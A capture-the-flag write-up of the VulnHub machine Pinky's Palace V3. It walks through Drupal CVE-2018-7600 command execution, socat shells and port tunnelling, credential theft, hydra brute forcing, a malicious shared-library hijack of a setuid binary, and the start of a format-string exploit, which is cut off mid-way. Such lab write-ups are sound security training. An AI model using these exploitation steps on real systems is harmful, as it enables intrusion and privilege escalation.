Pinky's Palace V3 – Writeup

Details

This machine is https://www.vulnhub.com/entry/pinkys-palace-v3,237/

Recon Phase

I started by locating my target

root@kali:~# nmap -sn 192.168.56.0/24
Nmap scan report for 192.168.56.1
Host is up (0.00017s latency).
MAC Address: 0A:00:27:00:00:11 (Unknown)
Nmap scan report for 192.168.56.100
Host is up (0.00053s latency).
MAC Address: 08:00:27:6B:5A:D1 (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.56.102
Host is up (0.00060s latency).
MAC Address: 08:00:27:E8:3A:82 (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.56.101
Host is up.
Nmap done: 256 IP addresses (4 hosts up) scanned in 1.94 seconds

From there I carried out a service discovery scan on it

root@kali:~# nmap -sV 192.168.56.102
Nmap scan report for 192.168.56.102
Host is up (0.000081s latency).
Not shown: 997 closed ports
PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 2.0.8 or later
5555/tcp open  ssh     OpenSSH 7.4p1 Debian 10+deb9u3 (protocol 2.0)
8000/tcp open  http    nginx 1.10.3
MAC Address: 08:00:27:E8:3A:82 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.34 seconds

And then let nmap run some scripts against it

root@kali:~# nmap -sC 192.168.56.102
Nmap scan report for 192.168.56.102
Host is up (0.00022s latency).
Not shown: 997 closed ports
PORT     STATE SERVICE
21/tcp   open  ftp
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r--    1 0        0             173 May 14 17:37 WELCOME
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to ::ffff:192.168.56.101
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 2
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
5555/tcp open  freeciv
8000/tcp open  http-alt
|_http-generator: Drupal 7 (http://drupal.org)
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt
|_/LICENSE.txt /MAINTAINERS.txt
|_http-title: PinkDrup
MAC Address: 08:00:27:E8:3A:82 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 1.10 seconds

FTP Check

As anon ftp was enabled I went to ftp://192.168.56.102 to check it

Screenshot 1

There was only 1 file. So, I checked it out

Screenshot 2

Drupal Time

My next step was to access the webserver on port 8000 by going to http://192.168.56.102:8000

Screenshot 3

It was immediately clear the system was running drupal, and I also now had one potential username, of

pinkadmin

I took a look at the /robots.txt

[SNIP]
Disallow: /CHANGELOG.txt
[SNIP]

The presence of the changelog file was promising as it could leak the version number of drupal allowing me to find potential exploits

Screenshot 4

This revealed the version was vulnerable to CVE-2018-7600, so I put together an implementation of it which is available on my Github (There is a version for drupal 8 aswell), once it was ready, I tested it against the target

root@kali:~# python3 ./cve-2018-7600-drupal7.py  -t 192.168.56.102 -c "cat /etc/passwd" -p 8000
[+] Sending command exploit
[+] Prepping trigger
[+] Sending trigger
[+] Result: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
_apt:x:104:65534::/nonexistent:/bin/false
messagebus:x:105:109::/var/run/dbus:/bin/false
pinky:x:1000:1000:pinky,,,:/home/pinky:/bin/bash
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
ftp:x:107:111:ftp daemon,,,:/srv/ftp:/bin/false
mysql:x:108:113:MySQL Server,,,:/nonexistent:/bin/false
pinksec:x:1001:1001::/home/pinksec:/bin/bash
pinksecmanagement:x:1002:1002::/home/pinksecmanagement:/bin/bash

This confirmed vulnerability to the exploit and I now had RCE on the target, I tried to open a reverse shell in multiple ways but couldn't get it to work, so I began to investigate why

root@kali:~# python3 ./cve-2018-7600-drupal7.py  -t 192.168.56.102 -c "id" -p 8000
[+] Sending command exploit
[+] Prepping trigger
[+] Sending trigger
[+] Result: uid=33(www-data) gid=33(www-data) groups=33(www-data)

My investigation eventually led to the firewalll

root@kali:~# python3 ./cve-2018-7600-drupal7.py  -t 192.168.56.102 -c "ls -la /etc/iptables" -p 8000
[+] Sending command exploit
[+] Prepping trigger
[+] Sending trigger
[+] Result: total 16
drwxr-xr-x  2 root root 4096 May 14 20:57 .
drwxr-xr-x 81 root root 4096 May 15 04:23 ..
-rw-r--r--  1 root root  295 May 15 02:46 rules.v4
-rw-r--r--  1 root root  285 May 15 02:46 rules.v6
root@kali:~# python3 ./cve-2018-7600-drupal7.py  -t 192.168.56.102 -c "cat /etc/iptables/rules.v4" -p 8000
[+] Sending command exploit
[+] Prepping trigger
[+] Sending trigger
[+] Result: # Generated by iptables-save v1.6.0 on Tue May 15 02:46:06 2018
*filter
:INPUT ACCEPT [714:49326]
:FORWARD ACCEPT [0:0]
:OUTPUT ACCEPT [442:57902]
-A OUTPUT -o eth0 -p tcp -m tcp --tcp-flags FIN,SYN,RST,PSH,ACK,URG SYN -m state --state NEW -j DROP
COMMIT

This revealed why the reverse shell wasn't working, the firewall was blocking it, so I began to dig around using my RCE instead

root@kali:~# python3 ./cve-2018-7600-drupal7.py  -t 192.168.56.102 -c "ls -la /home" -p 8000
[+] Sending command exploit
[+] Prepping trigger
[+] Sending trigger
[+] Result: total 20
drwxr-xr-x  5 root              root              4096 May 12 18:36 .
drwxr-xr-x 21 root              root              4096 Apr 19 17:46 ..
drwx------  5 pinksec           pinksec           4096 May 14 18:58 pinksec
drwx------  2 pinksecmanagement pinksecmanagement 4096 May 14 18:58 pinksecmanagement
drwx------  2 pinky             pinky             4096 May 15 02:47 pinky
root@kali:~# python3 ./cve-2018-7600-drupal7.py -t 192.168.56.102 -p 8000 -c "find / -user pinky 2>/dev/null"
[+] Sending command exploit
[+] Prepping trigger
[+] Sending trigger
[+] Result: /usr/local/bin/PSMCCLI
/home/pinky
root@kali:~# python3 ./cve-2018-7600-drupal7.py -t 192.168.56.102 -p 8000 -c "find / -perm -u=s"
[+] Sending command exploit
[+] Prepping trigger
[+] Sending trigger
[+] Result: /usr/bin/gpasswd
/usr/bin/chfn
/usr/bin/passwd
/usr/bin/chsh
/usr/bin/sudo
/usr/bin/newgrp
/usr/local/bin/PSMCCLI
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/bin/umount
/bin/su
/bin/ping
/bin/mount

The PSMCCLI program was both setuid and owned by pinky, but I couldn't do anything with it yet. At this point I got annoyed with not having a shell and began to look into more ways to try and get one, eventually coming across socat

root@kali:~# python3 ./cve-2018-7600-drupal7.py -t 192.168.56.102 -p 8000 -c "which socat"
[+] Sending command exploit
[+] Prepping trigger
[+] Sending trigger
[+] Result: /usr/bin/socat

Now knowing I had socat I did some research into how to use to get a shell and came across https://blog.stalkr.net/2015/12/from-remote-shell-to-remote-terminal.html which I them tried

root@kali@~# python3 ./cve-2018-7600-drupal7.py -t 192.168.56.102 -p 8000 -c "socat TCP-LISTEN:4444,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane"
[+] Sending command exploit
[+] Prepping trigger
[+] Sending trigger

This then hung which was a good sign as it indicated the program wasn't exiting

root@kali:~# socat FILE:`tty`,raw,echo=0 TCP:192.168.56.102:4444
www-data@pinkys-palace:~/html$

Exposing ports

With a proper shell I could do more and began to look for potential creds

www-data@pinkys-palace:~/html$ cat sites/default/settings.php
[SNIP]
$databases = array (  'default' =>
  array (
    'default' =>
    array (
      'database' => 'drupal',
      'username' => 'dpink',
      'password' => 'drupink',
      'host' => 'localhost',
      'port' => '',
      'driver' => 'mysql',
      'prefix' => '',
    ),
  ),
);
[SNIP]

With some db creds I tried to access it

www-data@pinkys-palace:~/html$ mysql -u dpink -p

Using drupink as the password

MariaDB [(none)]>

I could now execute commands against the sql server

MariaDB [(none)]> use drupal
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
MariaDB [drupal]> select name,pass from users;
+-----------+---------------------------------------------------------+
| name      | pass                                                    |
+-----------+---------------------------------------------------------+
|           |                                                         |
| pinkadmin | $S$DDLlBhU7uSuGiPBv1gqEL1QDM1G2Nf3SQOXQ6TT7zsAE3IBZAgup |
+-----------+---------------------------------------------------------+
2 rows in set (0.00 sec)

I made an attempt to crack this hash but it didn't pay off, so I moved on. Looking next at processes

www-data@pinkys-palace:~/html$ ps -aux
[SNIP]
pinksec    544  0.0  0.3 139324  6228 ?        S    16:52   0:00 /usr/sbin/apach
pinksec    545  0.0  0.3 139324  6220 ?        S    16:52   0:00 /usr/sbin/apach
pinksec    546  0.0  0.3 139324  6236 ?        S    16:52   0:00 /usr/sbin/apach
pinksec    547  0.0  0.3 139324  6236 ?        S    16:52   0:00 /usr/sbin/apach
pinksec    548  0.0  0.3 139324  6236 ?        S    16:52   0:00 /usr/sbin/apach
[SNIP]

From here I went to find the config files for these apache instances

www-data@pinkys-palace:~/html$ cd /etc/apache2
www-data@pinkys-palace:/etc/apache2$ ls -la
drwxr-xr-x  8 root root  4096 May 10 22:45 .
drwxr-xr-x 81 root root  4096 May 15 04:23 ..
-rw-r--r--  1 root root  7224 May  9 03:41 apache2.conf
drwxr-xr-x  2 root root  4096 May  8 19:04 conf-available
drwxr-xr-x  2 root root  4096 May  8 19:04 conf-enabled
-rw-r--r--  1 root root  1780 May  9 03:41 envvars
-rw-r--r--  1 root root 31063 Mar 30 08:07 magic
drwxr-xr-x  2 root root 12288 May 10 22:51 mods-available
drwxr-xr-x  2 root root  4096 May 10 22:51 mods-enabled
-rw-r--r--  1 root root   352 May  9 03:14 ports.conf
drwxr-xr-x  2 root root  4096 May 10 22:44 sites-available
drwxr-xr-x  2 root root  4096 May  9 04:54 sites-enabled
www-data@pinkys-palace:/etc/apache2$ cd sites-enabled/
www-data@pinkys-palace:/etc/apache2/sites-enabled$ ls -la
drwxr-xr-x 2 root root 4096 May  9 04:54 .
drwxr-xr-x 8 root root 4096 May 10 22:45 ..
lrwxrwxrwx 1 root root   35 May  8 19:04 000-default.conf -> ../sites-available/000-default.conf
www-data@pinkys-palace:/etc/apache2/sites-enabled$ cat 000-default.conf
<VirtualHost 127.0.0.1:80>
    # The ServerName directive sets the request scheme, hostname and port that
    # the server uses to identify itself. This is used when creating
    # redirection URLs. In the context of virtual hosts, the ServerName
    # specifies what hostname must appear in the request's Host: header to
    # match this virtual host. For the default virtual host (this file) this
    # value is not decisive as it is used as a last resort host regardless.
    # However, you must set it for any further virtual host explicitly.
    #ServerName www.example.com
    ServerAdmin pinkyadmin@localhost
    DocumentRoot /home/pinksec/html
    <Directory "/home/pinksec/html">
    Order allow,deny
    Allow from all
    Require all granted
    </Directory>
    # Available loglevels: trace8, ..., trace1, debug, info, notice, warn,
    # error, crit, alert, emerg.
    # It is also possible to configure the loglevel for particular
    # modules, e.g.
    #LogLevel info ssl:warn
    ErrorLog ${APACHE_LOG_DIR}/error.log
    CustomLog ${APACHE_LOG_DIR}/access.log combined
    # For most configuration files from conf-available/, which are
    # enabled or disabled at a global level, it is possible to
    # include a line for only one particular virtual host. For example the
    # following line enables the CGI configuration for this host only
    # after it has been globally disabled with "a2disconf".
    #Include conf-available/serve-cgi-bin.conf
</VirtualHost>
<VirtualHost 127.0.0.1:65334>
    DocumentRoot /home/pinksec/database
    ServerAdmin pinkyadmin@localhost
    <Directory "/home/pinksec/database">
    Order allow,deny
    Allow from all
    Require all granted
    </Directory>
</VirtualHost>

There were 2 other webservers running only to localhost, but from my research into socat earlier I knew it could tunnel the ports, so I set it up

www-data@pinkys-palace:/etc/apache2/sites-enabled$ socat TCP-LISTEN:8888,fork TCP:127.0.0.1:80 &
www-data@pinkys-palace:/etc/apache2/sites-enabled$ socat TCP-LISTEN:9999,fork TCP:127.0.0.1:65334 &

To check this worked I fired up nmap again

root@kali:~# nmap -sV -p- 192.168.56.102
Nmap scan report for 192.168.56.102
Host is up (0.00020s latency).
Not shown: 65529 closed ports
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 2.0.8 or later
4444/tcp open  nagios-nsca Nagios NSCA
5555/tcp open  ssh         OpenSSH 7.4p1 Debian 10+deb9u3 (protocol 2.0)
8000/tcp open  http        nginx 1.10.3
8888/tcp open  http        Apache httpd 2.4.25 ((Debian))
9999/tcp open  http        Apache httpd 2.4.25 ((Debian))
MAC Address: 08:00:27:E8:3A:82 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 143.33 seconds

I could now access the other webservers, starting with http://192.168.56.102:8888

Screenshot 5

On which I setup dirbuster

Screenshot 6

Screenshot 7

Before attempting a brute force on this login form I moved onto the other server at http://192.168.56.102:9999

Screenshot 8

Then dirbustered against that too

Screenshot 9

Screenshot 10

Now what was confusing was the server on 9999 was sourced from a folder called database, but didn't provide a database, I took a guess on this that it has a database file on it, now most database files use the extension .db, and sqlmap provides some wordlists of common database names, so I used those with wfuzz to take a look

root@kali:~# wfuzz -w /usr/share/sqlmap/txt/common-tables.txt --sc 200 http://192.168.56.102:9999/FUZZ.db
********************************************************
* Wfuzz 2.2.11 - The Web Fuzzer                        *
********************************************************
Target: http://192.168.56.102:9999/FUZZ.db
Total requests: 3372
==================================================================
ID  Response   Lines      Word         Chars          Payload
==================================================================
[SNIP]
001877:  C=200     18 L       18 W      221 Ch    "pwds"
[SNIP]
Total time: 5.116209
Processed Requests: 3372
Filtered Requests: 3354
Requests/sec.: 659.0817

Wfuzz paid off and found a file called pwds.db

Screenshot 11

The ordering of the passwords didn't look right to me, and as I was expecting to brue force here, I wanted the passwords to be in likelihood order, so I rearranged the list to

pinkyspass
admin
P1nK135Pass
AaPinkSecaAdmin4467
password4P1nky
Bbpinksecadmin9987
pinkysconsoleadmin
administrator
consoleadmin
pinksec133754
FJ(J#J(R#J
JIOJoiejwo
JF()#)PJWEOFJ
Jewjfwej
jvmr9e
uje9fu
wjffkowko
ewufweju

Which I saved as ordered.txt, I also had a list of potential usernames taken from the other web app and the server

pinkadmin
pinky
pinksecmanagement
pinksec

The last thing I needed was potential pins, so I wrote a batch script to generate them which I called pingen.sh

#!/bin/bash
for i in $(seq 0 9);
do
    for j in $(seq 0 9);
    do
        for k in $(seq 0 9);
        do
            for l in $(seq 0 9);
            do
                for m in $(seq 0 9);
                do
                    echo $i$j$k$l$m;
                done
            done
        done
    done
done

I then made it executable

root@kali:~# chmod +x pingen.sh

With the script ready I generated the list of pins

root@kali:~# ./pingen.sh > pins.txt

I wasn't sure how to use hydra http-post-form with 3 variables so I set the usernames manually, starting with "pinkadmin"

root@kali:~# hydra -L pins.txt -P ordered.txt 192.168.56.102 -s 8888 http-post-form "/login.php:user=pinkadmin&pass=^PASS^&pin=^USER^:F=Incorrect"

After a fair amount of time

[8888][http-post-form] host: 192.168.56.102   login: 55849   password: AaPinkSecaAdmin4467

With this I knew the login details were

username: pinkadmin
password: AaPinkSecaAdmin4467
pin: 55849

And I used these creds to login

Screenshot 12

This looked like a shell so I tried it out

Screenshot 13

I used this to setup a shell, entering into the web shell

socat TCP-LISTEN:2222,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane

Then opening a shell

root@kali:~# socat FILE:`tty`,raw,echo=0 TCP:192.168.56.102:2222
pinksec@pinkys-palace:/home/pinksec/html/PinkysC0n7r0lP4n31337$

User hopping

With this I began to look around again

pinksec@pinkys-palace:/home/pinksec/html/PinkysC0n7r0lP4n31337$ cd ~
pinksec@pinkys-palace:/home/pinksec$ ls -la
drwx------ 5 pinksec pinksec 4096 May 14 18:58 .
drwxr-xr-x 5 root    root    4096 May 12 18:36 ..
lrwxrwxrwx 1 root    root       9 May 12 23:15 .bash_history -> /dev/null
-rw-r--r-- 1 pinksec pinksec  220 May 15  2017 .bash_logout
-rw-r--r-- 1 pinksec pinksec 3526 May 15  2017 .bashrc
-rw-r--r-- 1 pinksec pinksec  675 May 15  2017 .profile
drwxr-xr-x 2 pinksec pinksec 4096 May 15 00:15 bin
drwxr-xr-x 2 pinksec pinksec 4096 May 12 18:31 database
drwxr-xr-x 3 pinksec pinksec 4096 May 12 18:40 html
pinksec@pinkys-palace:/home/pinksec$ cd bin
pinksec@pinkys-palace:/home/pinksec/bin$ ls -la
drwxr-xr-x 2 pinksec           pinksec           4096 May 15 00:15 .
drwx------ 5 pinksec           pinksec           4096 May 14 18:58 ..
-rwsr-xr-x 1 pinksecmanagement pinksecmanagement 7508 May 13 23:10 pinksecd

I found a binary as another user with the setuid bit set, so I tried to run it

pinksec@pinkys-palace:/home/pinksec/bin$ ./pinksecd
[+] PinkSec Daemon [+]
Options: -d: daemonize, -h: help
Soon to be host of pinksec web application.

To inspect it I copied it to the webserver so I could exfil it

pinksec@pinkys-palace:/home/pinksec/bin$ cp pinksecd ../html

With it copied I went to http://192.168.56.102:8888/pinksecd and exfiled it

Screenshot 14

With the file local, I could now inspect it

root@kali:~# gdb ./pinksecd
(gdb) info functions
All defined functions:
Non-debugging symbols:
0x000004c8  _init
0x00000500  psbanner@plt
0x00000510  psopt@plt
0x00000520  puts@plt
0x00000530  __libc_start_main@plt
0x00000540  psoptin@plt
0x00000550  __cxa_finalize@plt
0x00000558  __gmon_start__@plt
0x00000560  _start
0x000005a0  __x86.get_pc_thunk.bx
0x000005b0  deregister_tm_clones
0x000005f0  register_tm_clones
0x00000640  __do_global_dtors_aux
0x00000690  frame_dummy
0x000006cc  __x86.get_pc_thunk.dx
0x000006d0  main
0x00000740  __libc_csu_init
0x000007a0  __libc_csu_fini
0x000007a4  _fini

The bit which stood out here was

0x00000500  psbanner@plt
0x00000510  psopt@plt
0x00000520  puts@plt

And it was the @plt which indicated to me that it was loading these functions from a shared library, and I went to test this theory

(gdb) run
/root/pinksecd: error while loading shared libraries: libpinksec.so: cannot open shared object file: No such file or directory
[Inferior 1 (process 2514) exited with code 0177]

That was pretty conclusive, it was loading from a shared library called libpinksec.so which I had to find

pinksec@pinkys-palace:/home/pinksec/bin$ find / -type f -name libpinksec.so 2>/dev/null
/lib/libpinksec.so

With the file located I took a look at it

pinksec@pinkys-palace:/home/pinksec/bin$ cd /lib
pinksec@pinkys-palace:/lib$ ls -la
drwxr-xr-x 14 root root  4096 May 14 23:52 .
drwxr-xr-x 21 root root  4096 Apr 19 17:46 ..
drwxr-xr-x  2 root root  4096 Apr 19 17:46 console-setup
lrwxrwxrwx  1 root root    21 May 13 22:43 cpp -> /etc/alternatives/cpp
drwxr-xr-x  2 root root  4096 Apr 19 17:49 discover
drwxr-xr-x  2 root root  4096 Apr 19 17:50 hdparm
drwxr-xr-x  3 root root 12288 May  7 17:40 i386-linux-gnu
drwxr-xr-x  2 root root  4096 Apr 19 17:45 ifupdown
drwxr-xr-x  2 root root  4096 Apr 19 17:44 init
-rwxr-xr-x  1 root root 78392 May  8  2016 klibc-rBb4n9zs2Ri-TucnLVZwCHjM8M4.so
lrwxrwxrwx  1 root root    25 Jan 14  2018 ld-linux.so.2 -> i386-linux-gnu/ld-2.24.so
-rwxrwxrwx  1 root root  7136 May 14 23:52 libpinksec.so
drwxr-xr-x  3 root root  4096 Apr 19 17:44 lsb
drwxr-xr-x  2 root root  4096 Apr 19 17:49 modprobe.d
drwxr-xr-x  3 root root  4096 Apr 19 17:46 modules
drwxr-xr-x  8 root root  4096 Apr 19 17:49 systemd
drwxr-xr-x 15 root root  4096 Apr 19 17:43 terminfo
drwxr-xr-x  4 root root  4096 Apr 19 17:50 udev

The relevant shared library was world writable, this meant I could replace it with a malicious copy, I started by backing up the original

pinksec@pinkys-palace:/lib$ cp libpinksec.so /home/pinksec/libpinksec.so.bak

And then setup the malicious version

pinksec@pinkys-palace:/lib$ cd /tmp
pinksec@pinkys-palace:/tmp$ which gcc
/usr/bin/gcc
pinksec@pinkys-palace:/tmp$ vim libpinksec.c

I ended up with

#include <stdlib.h>
#include <unistd.h>
int psopt() {
    setreuid(1002,1002);
    execve("/bin/sh", NULL, NULL);
}
int psbanner() {
    setreuid(1002,1002);
    execve("/bin/sh", NULL, NULL);
}
int psoptin() {
    setreuid(1002,1002);
    execve("/bin/sh", NULL, NULL);
}

With the code ready, I compiled the shared library and replaced the version used by the binary

pinksec@pinkys-palace:/tmp$ gcc -c -fpic libpinksec.c
pinksec@pinkys-palace:/tmp$ gcc -shared  libpinksec.o -o libpinksec.so
pinksec@pinkys-palace:/tmp$ ls -la
drwxrwxrwt  2 root    root    4096 Sep  3 08:33 .
drwxr-xr-x 21 root    root    4096 Apr 19 17:46 ..
-rw-r--r--  1 pinksec pinksec  294 Sep  3 08:31 libpinksec.c
-rw-r--r--  1 pinksec pinksec 1644 Sep  3 08:32 libpinksec.o
-rwxr-xr-x  1 pinksec pinksec 7040 Sep  3 08:33 libpinksec.so
pinksec@pinkys-palace:/tmp$ cp libpinksec.so /lib

The malicious library was now in place, so I ran the binary again

pinksec@pinkys-palace:/tmp$ cd ~/bin
pinksec@pinkys-palace:/home/pinksec/bin$ ./pinksecd
$

This popped me another shell

$ whoami
pinksecmanagement
$ python -c "import pty;pty.spawn('/bin/bash')"
pinksecmanagement@pinkys-palace:/home/pinksec/bin$

I was now capable of running the setuid bit I found earlier

pinksecmanagement@pinkys-palace:/home/pinksec/bin$ cd /usr/local/bin/
pinksecmanagement@pinkys-palace:/usr/local/bin$ ls -la
drwxrwsr-x  2 root  staff             4096 May 14 19:06 .
drwxrwsr-x 10 root  staff             4096 Apr 19 17:44 ..
-rwsrwx---  1 pinky pinksecmanagement 7396 May 14 19:06 PSMCCLI

I tried to run it

pinksecmanagement@pinkys-palace:/usr/local/bin$ ./PSMCCLI
bash: ./PSMCCLI: Permission denied

This confused me slightly, but then I realised I had priv esced by using a setuid bit, my group hadn't changed. I quickly confirmed this

pinksecmanagement@pinkys-palace:/usr/local/bin$ id
uid=1002(pinksecmanagement) gid=1001(pinksec) groups=1001(pinksec)

But this was an easy fix

pinksecmanagement@pinkys-palace:/usr/local/bin$ newgrp
pinksecmanagement@pinkys-palace:/usr/local/bin$ id
uid=1002(pinksecmanagement) gid=1002(pinksecmanagement) groups=1002(pinksecmanagement),1001(pinksec)

I was now capable of running the binary

pinksecmanagement@pinkys-palace:/usr/local/bin$ ./PSMCCLI
[+] Pink Sec Management Console CLI

I tried providing some args

pinksecmanagement@pinkys-palace:/usr/local/bin$ ./PSMCCLI test
[+] Args: test

From here I tried to crash it

pinksecmanagement@pinkys-palace:/usr/local/bin$ ./PSMCCLI $(python -c "print 'A'*250")

But I couldn't get it to crash, my next best guess was a format string bug. I tested this

pinksecmanagement@pinkys-palace:/usr/local/bin$ ./PSMCCLI %x

This printed back some data which looked like data from the stack, so I went to exfil it

pinksecmanagement@pinkys-palace:/usr/local/bin$ python -m SimpleHTTPServer 7777

And went to http://192.168.56.102:7777/PSMCCLI to exfil it

Screenshot 15

root@kali:~# gdb PSMCCLI
(gdb) disas main
Dump of assembler code for function main:
   0x080484e4 <+0>: lea    ecx,[esp+0x4]
   0x080484e8 <+4>: and    esp,0xfffffff0
   0x080484eb <+7>: push   DWORD PTR [ecx-0x4]
   0x080484ee <+10>:    push   ebp
   0x080484ef <+11>:    mov    ebp,esp
   0x080484f1 <+13>:    push   ebx
   0x080484f2 <+14>:    push   ecx
   0x080484f3 <+15>:    call   0x8048542 <__x86.get_pc_thunk.ax>
   0x080484f8 <+20>:    add    eax,0x1b08
   0x080484fd <+25>:    mov    edx,ecx
   0x080484ff <+27>:    cmp    DWORD PTR [edx],0x1
   0x08048502 <+30>:    jg     0x804851f <main+59>
   0x08048504 <+32>:    sub    esp,0xc
   0x08048507 <+35>:    lea    edx,[eax-0x1a24]
   0x0804850d <+41>:    push   edx
   0x0804850e <+42>:    mov    ebx,eax
   0x08048510 <+44>:    call   0x8048350 <puts@plt>
   0x08048515 <+49>:    add    esp,0x10
   0x08048518 <+52>:    mov    eax,0x0
   0x0804851d <+57>:    jmp    0x8048538 <main+84>
   0x0804851f <+59>:    mov    eax,DWORD PTR [edx+0x4]
   0x08048522 <+62>:    add    eax,0x4
   0x08048525 <+65>:    mov    eax,DWORD PTR [eax]
   0x08048527 <+67>:    sub    esp,0xc
   0x0804852a <+70>:    push   eax
   0x0804852b <+71>:    call   0x804849b <argshow>
   0x08048530 <+76>:    add    esp,0x10
   0x08048533 <+79>:    mov    eax,0x0
   0x08048538 <+84>:    lea    esp,[ebp-0x8]
   0x0804853b <+87>:    pop    ecx
   0x0804853c <+88>:    pop    ebx
   0x0804853d <+89>:    pop    ebp
   0x0804853e <+90>:    lea    esp,[ecx-0x4]
   0x08048541 <+93>:    ret
End of assembler dump.
(gdb) info functions
All defined functions:
Non-debugging symbols:
0x0804830c  _init
0x08048340  printf@plt
0x08048350  puts@plt
0x08048360  exit@plt
0x08048370  __libc_start_main@plt
0x08048380  putchar@plt
0x08048390  __gmon_start__@plt
0x080483a0  _start
0x080483d0  __x86.get_pc_thunk.bx
0x080483e0  deregister_tm_clones
0x08048410  register_tm_clones
0x08048450  __do_global_dtors_aux
0x08048470  frame_dummy
0x0804849b  argshow
0x080484e4  main
0x08048542  __x86.get_pc_thunk.ax
0x08048550  __libc_csu_init
0x080485b0  __libc_csu_fini
0x080485b4  _fini
0xf7fd6010  _dl_catch_exception@plt
0xf7fd6020  malloc@plt
0xf7fd6030  _dl_signal_exception@plt
0xf7fd6040  calloc@plt
0xf7fd6050  realloc@plt
0xf7fd6060  _dl_signal_error@plt
0xf7fd6070  _dl_catch_error@plt
0xf7fd6080  free@plt
0xf7fde680  _dl_rtld_di_serinfo
0xf7fe5360  _dl_debug_state

As the function which echo'd the args back at me was most likely "argshow" I disassembled it to take a look

(gdb) disas argshow
Dump of assembler code for function argshow:
   0x0804849b <+0>: push   ebp
   0x0804849c <+1>: mov    ebp,esp
   0x0804849e <+3>: push   ebx
   0x0804849f <+4>: sub    esp,0x4
   0x080484a2 <+7>: call   0x80483d0 <__x86.get_pc_thunk.bx>
   0x080484a7 <+12>:    add    ebx,0x1b59
   0x080484ad <+18>:    sub    esp,0xc
   0x080484b0 <+21>:    lea    eax,[ebx-0x1a30]
   0x080484b6 <+27>:    push   eax
   0x080484b7 <+28>:    call   0x8048340 <printf@plt>
   0x080484bc <+33>:    add    esp,0x10
   0x080484bf <+36>:    sub    esp,0xc
   0x080484c2 <+39>:    push   DWORD PTR [ebp+0x8]
   0x080484c5 <+42>:    call   0x8048340 <printf@plt>
   0x080484ca <+47>:    add    esp,0x10
   0x080484cd <+50>:    sub    esp,0xc
   0x080484d0 <+53>:    push   0xa
   0x080484d2 <+55>:    call   0x8048380 <putchar@plt>
   0x080484d7 <+60>:    add    esp,0x10
   0x080484da <+63>:    sub    esp,0xc
   0x080484dd <+66>:    push   0x0
   0x080484df <+68>:    call   0x8048360 <exit@plt>
End of assembler dump.

If it was a format string bug, I would want to overwrite the putchar function in the GOT as it is the next function after the printf, to get the location I would need to overwrite I disassembled the putchar function before running the program so it would contain the address it loads at runtime

(gdb) disas putchar
Dump of assembler code for function putchar@plt:
   0x08048380 <+0>: jmp    DWORD PTR ds:0x804a01c
   0x08048386 <+6>: push   0x20
   0x0804838b <+11>:  jmp    0x8048330
End of assembler dump.

This meant I would want to overwrite 0x804a01c with the address of my shellcode. Now as format string vulns can be awkward to exploit I decided I would use an environment variable called SPAWN to hold my shellcode, and I would need to locate it in memory, so I used https://github.com/Partyschaum/haxe/blob/master/getenvaddr.c

Which I put together and compiled (NOTE: I had to use the pinksec user due to some issues with gcc)

pinkse@pinkys-palace:/tmp$ gcc getenvaddr.c -o getenvaddr
pinksec@pinkys-palace:/tmp$ chmod +x getenvaddr

From here I ran all commands related to the exploit from /tmp, and using the full path to the binary of /usr/local/bin/PSMCCLI as any changes to this could affect memory offsets

Next I had to select some shellcode, settling on http://shell-storm.org/shellcode/files/shellcode-811.php which I then put into the environment variable

